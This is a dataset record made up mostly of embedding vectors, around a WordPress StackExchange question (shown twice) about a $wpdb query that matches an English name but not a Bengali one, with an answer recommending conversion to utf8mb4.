-0.02960205078125, -0.0521240234375, 0.090087890625, 0.00850677490234375, 0.05859375, -0.021942138671875, 0.006988525390625, 0.0204315185546875, 0.065673828125, -0.016937255859375, 0.058624267578125, 0.010223388671875, -0.055816650390625, -0.044830322265625, -0.020904541015625, -0.022247314453125, -0.0113983154296875, -0.010040283203125, 0.0237274169921875, -0.01074981689453125, 0.0082244873046875, -0.044830322265625, 0.0254364013671875, -0.0117034912109375, 0.037841796875, -0.0179443359375, 0.0120849609375, 0.0247955322265625, 0.01250457763671875, -0.03131103515625, -0.03228759765625, -0.0128936767578125, 0.0188140869140625, 0.01404571533203125, 0.0311737060546875, -0.01058197021484375, 0.023406982421875, -0.0477294921875, -0.0218048095703125, -0.0311737060546875, 0.0296173095703125, 0.0517578125, -0.0018253326416015625, -0.01224517822265625, -0.0185394287109375, 0.029052734375, 0.006305694580078125, -0.0249176025390625, 0.0253143310546875, 0.058441162109375, 0.0726318359375, -0.039215087890625, -0.0174560546875, -0.015716552734375, -0.035369873046875, 0.00975799560546875, 0.046661376953125, 0.01293182373046875, 0.043914794921875, -0.0126800537109375, 0.01519012451171875, 0.057159423828125, -0.0008921623229980469, 0.021759033203125, -0.000055909156799316406, 0.0189208984375, 0.0771484375, 0.0003333091735839844, -0.0019397735595703125, 0.0025997161865234375, -0.0066986083984375, 0.00868988037109375, 0.040435791015625, -0.0004782676696777344, 0.059967041015625, -0.049163818359375, -0.00313568115234375, -0.015350341796875, -0.0294952392578125, 0.005832672119140625, -0.0200347900390625, 0.07666015625, 0.01352691650390625, 0.059112548828125, 0.028778076171875, -0.0537109375, 0.0297698974609375, 0.00788116455078125, -0.00830078125, 0.0002543926239013672, -0.01184844970703125, -0.0175628662109375, 0.025909423828125, -0.01357269287109375, 0.01430511474609375, 0.015838623046875, 0.0002772808074951172, -0.019134521484375, -0.0052337646484375, -0.01457977294921875, -0.0013303756713867188, -0.0221405029296875, -0.07745361328125, 0.0282745361328125, 0.051849365234375, 0.003734588623046875, 0.028656005859375, 0.043853759765625, 0.000033020973205566406, -0.021728515625, 0.01482391357421875, 0.0037212371826171875, -0.0160369873046875, 0.014678955078125, -0.033905029296875, 0.0135498046875, -0.01128387451171875, 0.038604736328125, 0.0653076171875, -0.002529144287109375, 0.0128936767578125, 0.005619049072265625, -0.0213623046875, 0.01386260986328125, -0.0021266937255859375, -0.0213470458984375, -0.01203155517578125, -0.039794921875, 0.04736328125, 0.033538818359375, 0.006984710693359375, 0.0357666015625, -0.008880615234375, 0.024871826171875, 0.03521728515625, -0.08062744140625, -0.114501953125, 0.0192718505859375, -0.035369873046875, 0.00464630126953125, 0.027374267578125, -0.01617431640625, -0.01788330078125, 0.056793212890625, -0.00250244140625, 0.01007843017578125, -0.01161956787109375, -0.09295654296875, -0.035614013671875, -0.064208984375, 0.03558349609375, -0.01494598388671875, 0.01265716552734375, 0.007434844970703125, 0.056121826171875, 0.01319122314453125, -0.0511474609375, 0.016265869140625, 0.07757568359375, -0.03009033203125, -0.01065826416015625, 0.0196685791015625, -0.05078125, 0.01435089111328125, -0.0099639892578125, 0.042816162109375, 0.017303466796875, -0.00896453857421875, 0.0151214599609375, 0.0015344619750976562, 0.0158538818359375, -0.00347900390625, 0.0304107666015625, 0.0150604248046875, 0.03448486328125, 0.0147552490234375, -0.026275634765625, -0.0236053466796875, 0.007396697998046875, -0.031005859375, 0.0086517333984375, 0.0103912353515625, -0.0016803741455078125, -0.00431060791015625, 0.01099395751953125, 0.01641845703125, 0.01012420654296875, 0.0031642913818359375, -0.021331787109375, 0.033477783203125, 0.01432037353515625, 0.0142364501953125, -0.0179595947265625, 0.004894256591796875, -0.036773681640625, 0.00736236572265625, 0.00020062923431396484, -0.0017852783203125, 0.0011053085327148438, -0.01268768310546875, -0.003787994384765625, -0.06597900390625, 0.060302734375, 0.01062774658203125, -0.032745361328125, -0.0052337646484375, -0.0501708984375, 0.0243377685546875, 0.08154296875, -0.063232421875, -0.01690673828125, -0.0435791015625, 0.003154754638671875, -0.024078369140625, -0.043060302734375, -0.019561767578125, 0.00042319297790527344, -0.089111328125, 0.0002601146697998047, -0.0096893310546875, -0.040008544921875, -0.0110626220703125, -0.00142669677734375, -0.061553955078125, -0.033050537109375, 0.041473388671875, -0.0261077880859375, 0.019744873046875, 0.00946807861328125, 0.00995635986328125, -0.006488800048828125, -0.0262603759765625, -0.0225067138671875, -0.0494384765625, -0.023651123046875, 0.0208740234375, 0.03466796875, -0.003681182861328125, -0.01023101806640625, -0.043701171875, 0.0247955322265625, 0.0212554931640625, 0.00011563301086425781, 0.002803802490234375, -0.0227813720703125, 0.0031452178955078125, 0.007053375244140625, -0.006305694580078125, -0.00733184814453125, 0.01311492919921875, 0.017608642578125, 0.005542755126953125, 0.0121917724609375, -0.043060302734375, -0.037109375, -0.0233917236328125, -0.0372314453125, -0.0787353515625, -0.0421142578125, -0.0045928955078125, 0.013763427734375, -0.040924072265625, 0.039642333984375, -0.02716064453125, -0.06048583984375, 0.03704833984375, 0.0211029052734375, -0.0308380126953125, -0.001995086669921875, 0.045135498046875, 0.027099609375, -0.0269775390625, -0.0187225341796875, -0.035308837890625, 0.00934600830078125, -0.00007134675979614258, 0.0313720703125, -0.00937652587890625, -0.0186614990234375, 0.0482177734375, -0.0158233642578125, -0.017059326171875, 0.0176849365234375, 0.0310516357421875, 0.0098724365234375, -0.0250244140625, 0.032684326171875, 0.00949859619140625, -0.031707763671875, 0.031463623046875, -0.01372528076171875, -0.030120849609375, -0.00873565673828125, 0.040924072265625, -0.019622802734375, 0.033660888671875, -0.0176239013671875, -0.032257080078125, 0.0180511474609375, -0.0328369140625, 0.027313232421875, -0.006618499755859375, 0.0061187744140625, 0.0151214599609375, 0.0292510986328125, 0.00412750244140625, 0.0192413330078125, 0.0517578125, 0.0072479248046875, 0.0310821533203125, 0.0279388427734375, 0.000034749507904052734, -0.0257415771484375, -0.0075225830078125, 0.03387451171875, -0.002170562744140625, -0.0295257568359375, -0.03936767578125, -0.005283355712890625, 0.029388427734375, -0.00858306884765625, 0.00870513916015625, 0.0226898193359375, 0.0155181884765625, 0.0311737060546875, 0.012451171875, -0.0094146728515625, 0.00902557373046875, -0.001873016357421875, -0.007289886474609375, 0.03216552734375, -0.016571044921875, -0.0250396728515625, 0.06939697265625, 0.01255035400390625, 0.008056640625, -0.0198974609375, -0.0113677978515625, -0.005611419677734375, 0.0277099609375, 0.02252197265625, -0.0235595703125, 0.02056884765625, -0.0226287841796875, 0.04815673828125, -0.0279541015625, -0.035614013671875, -0.00476837158203125, 0.018157958984375, -0.0233612060546875, 0.0204315185546875, 0.035064697265625, 0.01983642578125, -0.041839599609375, 0.03271484375, 0.05926513671875, -0.0037937164306640625, -0.04058837890625, -0.02667236328125, 0.017059326171875, 0.03509521484375, -0.002685546875, 0.0167083740234375, -0.0245513916015625, 0.0193634033203125, -0.01739501953125, 0.0251312255859375, -0.0182647705078125, -0.0257415771484375, -0.04034423828125, 0.0200347900390625, 0.031402587890625, -0.039886474609375, -0.04339599609375, 0.01242828369140625, -0.0251617431640625, 0.0230712890625, -0.0050201416015625, 0.02606201171875, -0.023345947265625, 0.0017194747924804688, -0.007610321044921875, 0.026580810546875, 0.012176513671875, -0.018280029296875, -0.01177215576171875, -0.0180511474609375, -0.043426513671875, -0.0250396728515625, -0.016845703125, -0.0134429931640625, -0.034698486328125, 0.00511932373046875, 0.0242156982421875, 0.0193328857421875, 0.001506805419921875, -0.0273284912109375, 0.0096282958984375, -0.033355712890625, -0.01611328125, 0.004913330078125, -0.004749298095703125, 0.085205078125, -0.0423583984375, 0.050262451171875, -0.0147857666015625, 0.03277587890625, -0.016204833984375, 0.004802703857421875, 0.003173828125, -0.07708740234375, -0.032135009765625, 0.012481689453125, -0.067626953125, 0.031951904296875, 0.029449462890625, 0.002704620361328125, 0.00659942626953125, -0.00580596923828125, -0.002872467041015625, -0.020355224609375, 0.0226287841796875, 0.004680633544921875, 0.038299560546875, 0.0175933837890625, -0.01436614990234375, -0.0279083251953125, 0.003993988037109375, -0.01031494140625, 0.0181884765625, 0.00015926361083984375, 0.0048980712890625, -0.0249176025390625, 0.006439208984375, 0.031097412109375, 0.08477783203125, 0.041839599609375, 0.0732421875, 0.032562255859375, 0.032073974609375, 0.0191650390625, -0.017608642578125, 0.002300262451171875, 0.004970550537109375, 0.054473876953125, -0.0076904296875, -0.0200042724609375, 0.03961181640625, -0.036163330078125, -0.0177154541015625, 0.024261474609375, 0.037109375, -0.02655029296875, -0.00659942626953125, 0.002498626708984375, -0.015960693359375, -0.0120391845703125, -0.004383087158203125, 0.0010309219360351562, 0.0003180503845214844, 0.0303802490234375, -0.00476837158203125, -0.02386474609375, -0.00506591796875, -0.01558685302734375, 0.00609588623046875, -0.0156402587890625, 0.047576904296875, -0.00724029541015625, -0.0648193359375, 0.01422119140625, 0.02618408203125, 0.01522064208984375, -0.0343017578125, 0.01763916015625, -0.01389312744140625, 0.0022144317626953125, -0.06512451171875, -0.00594329833984375, 0.00273895263671875, -0.01128387451171875, -0.0094757080078125, -0.0259552001953125, 0.058837890625, 0.039215087890625, 0.0011844635009765625, -0.032501220703125, 0.02899169921875, -0.03546142578125, -0.0136871337890625, -0.03338623046875, -0.0197906494140625, 0.040679931640625, -0.0124969482421875, 0.01514434814453125, 0.006076812744140625, -0.01262664794921875, -0.0162506103515625, 0.005001068115234375, 0.034423828125, -0.01438140869140625, -0.0165557861328125, 0.024017333984375, 0.039276123046875, 0.00580596923828125, -0.002777099609375, -0.00424957275390625, -0.06304931640625, -0.0513916015625, 0.0012521743774414062, -0.0455322265625, -0.0016107559204101562, -0.01186370849609375, -0.034210205078125, 0.11834716796875, -0.00011879205703735352, 0.00006538629531860352, 0.030517578125, 0.06103515625, -0.0615234375, 0.0302886962890625, -0.0236053466796875, 0.0408935546875, -0.0203399658203125, 0.045379638671875, -0.057342529296875, -0.01506805419921875, 0.00481414794921875, 0.050689697265625, 0.026031494140625, 0.0037384033203125, -0.016754150390625, 0.0011949539184570312, 0.060699462890625, 0.060638427734375, 0.00586700439453125, 0.0039520263671875, 0.0271759033203125, 0.05108642578125, 0.060272216796875, -0.04510498046875, 0.025360107421875, -0.0151519775390625, 0.0177001953125, 0.0611572265625, 0.0257568359375, 0.027740478515625, -0.002964019775390625, -0.007503509521484375, -0.07037353515625, 0.0149383544921875, 0.055145263671875, 0.00908660888671875, 0.005558013916015625, 0.056549072265625, 0.07220458984375, -0.08758544921875, -0.0732421875, -0.03533935546875, 0.047607421875, 0.0165863037109375, 0.02569580078125, 0.04107666015625, 0.01477813720703125, 0.0633544921875, -0.01467132568359375, 0.00855255126953125, 0.0048675537109375, -0.00841522216796875, 0.064697265625, 0.017791748046875, 0.0191497802734375, -0.048828125, -0.03643798828125, 0.03741455078125, 0.08367919921875, -0.0303955078125, -0.042999267578125, 0.0144500732421875, 0.0248260498046875, 0.00374603271484375, 0.002544403076171875, 0.01535797119140625, 0.003940582275390625, 0.035491943359375, -0.036651611328125, -0.03656005859375, -0.0034732818603515625, 0.038177490234375, -0.023040771484375, -0.04638671875, 0.029052734375, -0.049346923828125, -0.047027587890625, 0.02288818359375, 0.026702880859375, 0.055999755859375, 0.0019683837890625, 0.054412841796875, -0.035614013671875, -0.0303497314453125, -0.0111541748046875, -0.0093994140625, -0.0189971923828125, 0.044647216796875, -0.00495147705078125, 0.019866943359375, -0.039886474609375, 0.03564453125, 0.023529052734375, 0.029266357421875, 0.033721923828125, 0.025726318359375, 0.0091705322265625, 0.0078125, 0.03656005859375, -0.01233673095703125, -0.01216888427734375, -0.0234222412109375, 0.0161590576171875, 0.037445068359375, 0.0036830902099609375, 0.0162811279296875, 0.01103973388671875, 0.037384033203125, -0.037750244140625, 0.07135009765625, -0.0225677490234375, -0.02154541015625, 0.0418701171875, -0.0203094482421875, 0.0992431640625, -0.003070831298828125, -0.0687255859375, -0.01020050048828125, -0.0301055908203125, -0.05963134765625, 0.045196533203125, 0.04864501953125, -0.0130615234375, 0.0035381317138671875, 0.004924774169921875, -0.027435302734375, 0.01425933837890625, -0.006473541259765625, 0.01184844970703125, 0.00643157958984375, 0.0008378028869628906, -0.00910186767578125, -0.0234375, -0.0169525146484375, 0.0206756591796875, 0.010772705078125, -0.0226898193359375, 0.010833740234375, 0.01263427734375, -0.00007677078247070312, 0.0115966796875, 0.012786865234375, 0.006732940673828125, -0.023223876953125, 0.10009765625, -0.001361846923828125, -0.0171661376953125, -0.03900146484375, 0.00787353515625, -0.02105712890625, 0.0523681640625, -0.04046630859375, -0.038238525390625, 0.01409149169921875, 0.0277557373046875, -0.01441192626953125, 0.024017333984375, -0.035552978515625, -0.029998779296875, -0.05419921875, -0.032562255859375, 0.0269317626953125, 0.029449462890625, 0.0192413330078125, 0.0165557861328125, -0.026885986328125, -0.05517578125, 0.04827880859375, -0.06365966796875, 0.093505859375, 0.055328369140625, -0.026123046875, 0.012664794921875, 0.01175689697265625, -0.02874755859375, 0.005741119384765625, 0.018829345703125, -0.0131072998046875, -0.0012531280517578125, -0.042572021484375, -0.03570556640625, -0.0223236083984375, 0.00830841064453125, -0.0072479248046875, -0.003143310546875, -0.033599853515625, -0.01158905029296875, -0.0280609130859375, 0.0179290771484375, -0.04010009765625, -0.0099334716796875, 0.01416015625, 0.0034923553466796875, 0.008514404296875, -0.0244293212890625, -0.06103515625, -0.031890869140625, 0.016448974609375, 0.0011644363403320312, -0.00437164306640625, 0.00830841064453125, -0.0238494873046875, -0.034942626953125, -0.0080413818359375, -0.04620361328125, -0.0128936767578125, 0.005847930908203125, 0.006591796875, -0.0030193328857421875, -0.06878662109375, -0.006450653076171875, -0.028564453125, 0.0009207725524902344, 0.0153656005859375, -0.0133056640625, -0.01078033447265625, -0.0092010498046875, -0.009033203125, 0.049224853515625, 0.01396942138671875, 0.00647735595703125, 0.06805419921875, 0.00992584228515625, -0.059783935546875, -0.07763671875, 0.002288818359375, -0.0305023193359375, 0.0261077880859375, 0.0199432373046875, 0.001079559326171875, 0.0290679931640625, -0.0116729736328125, -0.06512451171875, 0.037078857421875, -0.0157623291015625, -0.0340576171875, -0.0360107421875, 0.005008697509765625, 0.0272369384765625, -0.01690673828125, -0.0007534027099609375, -0.038970947265625, -0.07000732421875, -0.01861572265625, 0.0031452178955078125, 0.0182037353515625, 0.0211334228515625, 0.03173828125, -0.0953369140625, -0.011566162109375, -0.0494384765625, -0.00009453296661376953, -0.0125885009765625, -0.01458740234375, 0.030670166015625, 0.0248565673828125, -0.019775390625, -0.01385498046875, 0.0224609375, 0.0152130126953125, 0.0142059326171875, -0.01849365234375, -0.042083740234375, 0.0005574226379394531, 0.04144287109375, 0.031280517578125, 0.01522064208984375, -0.0294647216796875, 0.00447845458984375, -0.023284912109375, -0.0218658447265625, -0.024993896484375, 0.0171356201171875, -0.05291748046875, -0.02178955078125, 0.004302978515625, -0.00954437255859375, 0.019622802734375, -0.0106353759765625, -0.00753021240234375, -0.00540924072265625, 0.02911376953125, -0.0020618438720703125, -0.0259246826171875, 0.0191497802734375, 0.04010009765625, -0.029205322265625, -0.0026645660400390625, -0.01433563232421875, 0.00554656982421875, 0.0087432861328125, -0.033721923828125, -0.021820068359375, 0.046234130859375, -0.0005559921264648438, -0.013092041015625, 0.03460693359375, -0.00485992431640625, 0.028076171875, 0.0361328125, -0.047119140625, 0.007781982421875, 0.0201568603515625, -0.016845703125, -0.037841796875, 0.0223388671875, 0.038330078125, 0.039215087890625, -0.00939178466796875, 0.06573486328125, -0.000881195068359375, 0.0130157470703125, 0.0070037841796875, 0.0004715919494628906, 0.052459716796875, -0.0230712890625, 0.00646209716796875, 0.01204681396484375, -0.01491546630859375, -0.0033321380615234375, 0.01580810546875, 0.01233673095703125, -0.0252838134765625, 0.002597808837890625 ]
90cae2c283b9ad5a909e9cae893c2661886e452d
Wordpress Stackexchange Q: $wpdb->get_results() does not fetch results with unicode 'WHERE' clause I've just a simple query to fetch a students records by his name, written in Bengali. $student_rcrd = $wpdb->get_results("SELECT * FROM student WHERE name='আবুল কালাম আজাদ'"); Although my database have a record for 'আবুল কালাম আজাদ', the query returns zero row! But instead of this query, it works absolutely fine- $student_rcrd = $wpdb->get_results("SELECT * FROM student WHERE name='Abul Kalam Azad'"); * *The name field in the database is 'utf8_unicode_ci' A: Your data are possibly corrupt from trying to store multibyte characters that your DB could not correctly represent. MySQL's utf8 collation isn't actually UTF-8. You will have to convert your tables' character sets to utf8mb4 (real UTF-8), and then set the DB_CHARSET constant to match.
Q: $wpdb->get_results() does not fetch results with unicode 'WHERE' clause I've just a simple query to fetch a students records by his name, written in Bengali. $student_rcrd = $wpdb->get_results("SELECT * FROM student WHERE name='আবুল কালাম আজাদ'"); Although my database have a record for 'আবুল কালাম আজাদ', the query returns zero row! But instead of this query, it works absolutely fine- $student_rcrd = $wpdb->get_results("SELECT * FROM student WHERE name='Abul Kalam Azad'"); * *The name field in the database is 'utf8_unicode_ci' A: Your data are possibly corrupt from trying to store multibyte characters that your DB could not correctly represent. MySQL's utf8 collation isn't actually UTF-8. You will have to convert your tables' character sets to utf8mb4 (real UTF-8), and then set the DB_CHARSET constant to match.
wordpress
{ "language": "en", "length": 125, "provenance": "stackexchange_00019.jsonl.gz:489142", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/313458" }
[ 0.0159759521484375, -0.0036144256591796875, 0.033233642578125, 0.0025482177734375, -0.00524139404296875, 0.00276947021484375, 0.03485107421875, -0.023956298828125, 0.052276611328125, 0.10107421875, -0.0091094970703125, -0.03302001953125, 0.06549072265625, -0.00131988525390625, -0.10113525390625, 0.0023097991943359375, 0.03912353515625, -0.0015811920166015625, 0.0124053955078125, -0.01079559326171875, -0.0126800537109375, 0.0241546630859375, -0.01485443115234375, -0.053009033203125, 0.03289794921875, -0.049957275390625, 0.048431396484375, -0.0097503662109375, 0.023529052734375, -0.01190185546875, 0.0190887451171875, -0.00008893013000488281, 0.0288238525390625, 0.0428466796875, -0.022430419921875, 0.06451416015625, 0.0616455078125, -0.004650115966796875, -0.01479339599609375, 0.057464599609375, 0.03155517578125, -0.033416748046875, -0.069091796875, 0.0003724098205566406, -0.0390625, -0.0455322265625, 0.04034423828125, 0.00850677490234375, 0.026031494140625, 0.0123138427734375, 0.00344085693359375, 0.0247344970703125, 0.000004351139068603516, 0.00022399425506591797, -0.0002562999725341797, 0.021484375, -0.01500701904296875, 0.035614013671875, 0.0158233642578125, -0.0016937255859375, -0.0245208740234375, 0.014862060546875, -0.0013885498046875, -0.0022525787353515625, -0.0216217041015625, 0.0141143798828125, 0.07427978515625, -0.01016998291015625, -0.009735107421875, -0.015350341796875, 0.0187530517578125, 0.005001068115234375, 0.01629638671875, 0.0085906982421875, -0.0192108154296875, 0.0084075927734375, -0.0248870849609375, 0.0171051025390625, 0.0421142578125, -0.006244659423828125, 0.0222930908203125, 0.0069122314453125, -0.07421875, 0.0305328369140625, -0.01055908203125, 0.032318115234375, -0.0087890625, -0.042022705078125, -0.04522705078125, -0.0191802978515625, -0.0179901123046875, -0.0124969482421875, -0.060455322265625, 0.0310821533203125, 0.0222015380859375, -0.01491546630859375, 0.01004791259765625, 0.048858642578125, -0.0214996337890625, 0.01432037353515625, -0.0088043212890625, -0.0276947021484375, 0.01401519775390625, -0.046051025390625, 0.020416259765625, 0.011932373046875, -0.00223541259765625, -0.0076751708984375, 0.045989990234375, 0.0260467529296875, 0.0107269287109375, 0.039459228515625, -0.03790283203125, -0.04339599609375, 0.0127410888671875, 0.03607177734375, -0.041534423828125, 0.00130462646484375, 0.0182342529296875, -0.077880859375, 0.027984619140625, 0.06585693359375, -0.05224609375, -0.06475830078125, -0.05242919921875, -0.077880859375, 0.0004801750183105469, -0.0034656524658203125, -0.0419921875, 0.031005859375, -0.00606536865234375, 0.0173797607421875, -0.0297393798828125, 0.00833892822265625, -0.0416259765625, -0.01180267333984375, 0.00019752979278564453, 0.014739990234375, -0.00769805908203125, -0.012359619140625, 0.038177490234375, 0.01204681396484375, 0.01496124267578125, 0.004520416259765625, -0.01561737060546875, -0.007068634033203125, 0.00835418701171875, 0.01068115234375, -0.02703857421875, -0.005977630615234375, -0.006465911865234375, -0.0095672607421875, 0.0211181640625, 0.0021495819091796875, -0.0202178955078125, -0.0009393692016601562, -0.01270294189453125, -0.00970458984375, -0.029296875, -0.0113372802734375, 0.052734375, -0.017333984375, -0.029022216796875, -0.0014333724975585938, -0.03057861328125, 0.005519866943359375, -0.036590576171875, -0.0022220611572265625, 0.01605224609375, -0.025848388671875, -0.0014333724975585938, 0.0021877288818359375, 0.07781982421875, -0.012603759765625, -0.0284576416015625, 0.006504058837890625, 0.018096923828125, -0.0104522705078125, 0.01506805419921875, 0.0165557861328125, -0.0115509033203125, -0.01367950439453125, 0.03619384765625, -0.01727294921875, -0.0246429443359375, 0.0271453857421875, 0.008575439453125, 0.050628662109375, 0.011016845703125, 0.0013103485107421875, 0.0241851806640625, 0.041290283203125, -0.04083251953125, 0.07464599609375, -0.015838623046875, -0.058868408203125, -0.0292816162109375, -0.00673675537109375, -0.0194244384765625, -0.00995635986328125, 0.046142578125, 0.0214385986328125, -0.0220947265625, -0.0169677734375, -0.049407958984375, -0.0156707763671875, 0.0069580078125, 0.021209716796875, 0.0196380615234375, 0.0307769775390625, 0.0053253173828125, 0.0167694091796875, -0.042938232421875, 0.0157928466796875, -0.0264739990234375, -0.012603759765625, 0.0141448974609375, 0.0689697265625, 0.01389312744140625, 0.0283966064453125, 0.0010519027709960938, -0.06793212890625, 0.01229095458984375, 0.035064697265625, -0.0186309814453125, -0.007568359375, -0.00814056396484375, 0.0171661376953125, 0.03680419921875, -0.00792694091796875, 0.06304931640625, -0.0019321441650390625, 0.0028591156005859375, 0.031494140625, -0.00983428955078125, -0.01421356201171875, -0.024658203125, -0.0858154296875, 0.0233612060546875, 0.0526123046875, 0.040924072265625, 0.0266571044921875, -0.00592803955078125, -0.0227508544921875, -0.026153564453125, -0.08721923828125, 0.01617431640625, -0.0428466796875, 0.0016345977783203125, 0.019744873046875, 0.0253448486328125, -0.03875732421875, 0.013763427734375, -0.0504150390625, -0.014068603515625, 0.024627685546875, -0.030731201171875, 0.0369873046875, 0.0134735107421875, 0.0077667236328125, -0.0261993408203125, 0.048126220703125, 0.061981201171875, -0.0078582763671875, -0.06890869140625, -0.00917816162109375, -0.008026123046875, -0.01064300537109375, 0.01496124267578125, -0.06024169921875, 0.020111083984375, 0.0102081298828125, 0.0097808837890625, 0.016815185546875, -0.064208984375, 0.00311279296875, -0.01280975341796875, 0.00856781005859375, 0.005031585693359375, -0.0200042724609375, 0.03497314453125, 0.068603515625, 0.01715087890625, -0.015472412109375, 0.01026153564453125, 0.005947113037109375, -0.00445556640625, 0.018890380859375, -0.033294677734375, 0.0027980804443359375, 0.00676727294921875, 0.10162353515625, -0.0003161430358886719, 0.049530029296875, -0.04107666015625, 0.0272979736328125, 0.09478759765625, 0.016265869140625, -0.0160980224609375, 0.008087158203125, 0.0169525146484375, 0.01352691650390625, 0.01495361328125, -0.055145263671875, 0.017059326171875, -0.0195770263671875, 0.00647735595703125, 0.0120849609375, 0.003414154052734375, -0.00424957275390625, -0.0305023193359375, 0.045684814453125, 0.02960205078125, 0.0282440185546875, 0.01009368896484375, -0.04046630859375, 0.025970458984375, 0.0277252197265625, -0.071044921875, -0.09613037109375, -0.0411376953125, 0.01059722900390625, 0.0169677734375, 0.0240936279296875, 0.0289154052734375, 0.001163482666015625, 0.00739288330078125, 0.0138397216796875, 0.050048828125, 0.0029697418212890625, -0.053955078125, -0.000004470348358154297, -0.053985595703125, 0.011688232421875, 0.003124237060546875, 0.028350830078125, 0.011627197265625, -0.025848388671875, -0.01195526123046875, -0.0016117095947265625, 0.0041656494140625, 0.056610107421875, -0.024383544921875, -0.04095458984375, -0.0096282958984375, -0.006793975830078125, -0.0204925537109375, 0.0009775161743164062, 0.038726806640625, 0.0214691162109375, -0.021148681640625, 0.02105712890625, 0.0204620361328125, 0.0141754150390625, 0.035888671875, 0.01239776611328125, -0.0215911865234375, 0.0271759033203125, 0.020751953125, -0.034637451171875, -0.010986328125, 0.0250244140625, 0.0020313262939453125, 0.031341552734375, -0.04541015625, -0.00594329833984375, 0.023834228515625, 0.059661865234375, 0.0280609130859375, -0.008209228515625, 0.0009517669677734375, -0.03271484375, 0.05963134765625, 0.01009368896484375, 0.045135498046875, -0.0108795166015625, 0.0172882080078125, -0.0084228515625, -0.0026397705078125, 0.0135650634765625, 0.038421630859375, 0.007381439208984375, 0.0256500244140625, -0.01476287841796875, 0.006801605224609375, 0.032867431640625, -0.022308349609375, -0.002712249755859375, -0.0242919921875, -0.006587982177734375, -0.04522705078125, 0.0220489501953125, 0.037078857421875, -0.021392822265625, -0.0168609619140625, 0.0198974609375, -0.06610107421875, -0.044952392578125, -0.024261474609375, 0.0153961181640625, -0.0072784423828125, -0.0207977294921875, -0.005535125732421875, -0.0458984375, -0.01436614990234375, -0.06182861328125, -0.028778076171875, -0.017547607421875, 0.032135009765625, -0.0191497802734375, -0.01258087158203125, 0.023162841796875, -0.0295562744140625, -0.0022182464599609375, -0.01085662841796875, -0.0128936767578125, -0.09930419921875, -0.020843505859375, -0.021881103515625, 0.0606689453125, -0.018890380859375, 0.0118255615234375, -0.0276947021484375, 0.05950927734375, 0.01409149169921875, 0.03631591796875, 0.0247802734375, 0.0106964111328125, 0.0226898193359375, -0.0094146728515625, 0.03509521484375, -0.034820556640625, 0.0014657974243164062, 0.02410888671875, -0.01511383056640625, 0.0181884765625, -0.02093505859375, -0.020477294921875, -0.0091094970703125, -0.050628662109375, 0.0193634033203125, -0.02191162109375, -0.01678466796875, 0.040679931640625, -0.0236968994140625, 0.0179595947265625, -0.034881591796875, -0.0069427490234375, 0.020233154296875, 0.05194091796875, -0.02825927734375, 0.005458831787109375, -0.01279449462890625, 0.0119781494140625, -0.059906005859375, -0.06878662109375, 0.020965576171875, 0.0283660888671875, 0.0011196136474609375, 0.0625, 0.0262298583984375, -0.0272674560546875, 0.07177734375, 0.0156402587890625, 0.037017822265625, 0.0115203857421875, 0.006702423095703125, 0.036712646484375, -0.0303802490234375, 0.043487548828125, 0.07098388671875, -0.0958251953125, 0.0243682861328125, -0.002162933349609375, 0.005245208740234375, 0.006103515625, -0.001369476318359375, 0.0026149749755859375, -0.0170745849609375, -0.0266571044921875, -0.0252685546875, 0.018035888671875, -0.053436279296875, 0.0200653076171875, -0.0457763671875, 0.025543212890625, -0.01751708984375, -0.01251220703125, -0.0225830078125, 0.0019025802612304688, -0.0162506103515625, -0.0005321502685546875, 0.0245361328125, -0.00595855712890625, -0.0211334228515625, -0.014892578125, -0.0113525390625, 0.042999267578125, 0.0005669593811035156, -0.0291595458984375, 0.011566162109375, -0.026702880859375, 0.0165252685546875, 0.0173492431640625, 0.0147705078125, -0.0222930908203125, -0.0195159912109375, 0.006622314453125, 0.0266876220703125, 0.0175323486328125, -0.0106353759765625, -0.009796142578125, 0.0197601318359375, 0.0015954971313476562, 0.009613037109375, -0.0234832763671875, 0.1295166015625, -0.0224151611328125, 0.0662841796875, -0.0265960693359375, 0.0025196075439453125, -0.0400390625, 0.061279296875, 0.0316162109375, -0.041107177734375, 0.00787353515625, 0.0303497314453125, -0.02923583984375, -0.021636962890625, -0.001842498779296875, -0.0134124755859375, 0.006557464599609375, -0.0035190582275390625, -0.0002980232238769531, 0.042266845703125, -0.016510009765625, -0.038177490234375, 0.0626220703125, 0.038726806640625, -0.033599853515625, -0.07733154296875, -0.05157470703125, 0.04864501953125, 0.0308837890625, -0.0081787109375, -0.002346038818359375, -0.0016717910766601562, 0.016937255859375, 0.0105438232421875, 0.0198211669921875, -0.019073486328125, -0.017791748046875, -0.0163421630859375, -0.06475830078125, -0.0255279541015625, 0.008697509765625, 0.07476806640625, -0.01861572265625, -0.03350830078125, -0.0139007568359375, -0.01641845703125, -0.007038116455078125, -0.0396728515625, 0.019989013671875, -0.06640625, -0.01184844970703125, 0.10345458984375, 0.059539794921875, 0.004974365234375, -0.00868988037109375, -0.0253448486328125, 0.0029277801513671875, 0.0389404296875, -0.04034423828125, 0.01953125, -0.036590576171875, 0.00986480712890625, 0.0127410888671875, 0.01261138916015625, -0.0162506103515625, -0.01418304443359375, 0.0190887451171875, 0.0274505615234375, 0.01384735107421875, -0.0245361328125, 0.0570068359375, -0.01093292236328125, 0.01073455810546875, -0.00554656982421875, 0.039703369140625, 0.0272369384765625, 0.0010290145874023438, 0.03741455078125, -0.0203094482421875, -0.040557861328125, -0.03521728515625, -0.04034423828125, -0.00739288330078125, 0.04296875, -0.010345458984375, 0.03326416015625, -0.00928497314453125, -0.00010001659393310547, 0.0003712177276611328, 0.004360198974609375, -0.0200042724609375, 0.019927978515625, 0.042022705078125, -0.034881591796875, -0.01163482666015625, -0.0091400146484375, -0.0139923095703125, 0.0477294921875, -0.03692626953125, 0.019287109375, 0.01541900634765625, 0.0117950439453125, 0.0186004638671875, 0.010986328125, 0.019744873046875, 0.010955810546875, 0.00305938720703125, 0.0112762451171875, -0.046142578125, -0.00876617431640625, -0.02899169921875, 0.007297515869140625, 0.0426025390625, -0.00763702392578125, -0.025238037109375, 0.0304412841796875, -0.030242919921875, 0.007781982421875, 0.0435791015625, 0.061187744140625, -0.08172607421875, -0.004367828369140625, 0.0080108642578125, -0.04144287109375, -0.0282440185546875, 0.022247314453125, -0.038665771484375, -0.03802490234375, -0.0208892822265625, -0.06121826171875, -0.0310516357421875, -0.0101318359375, -0.00960540771484375, -0.0015096664428710938, -0.01093292236328125, 0.08270263671875, 0.03216552734375, 0.025848388671875, -0.036376953125, -0.0284423828125, 0.0015687942504882812, 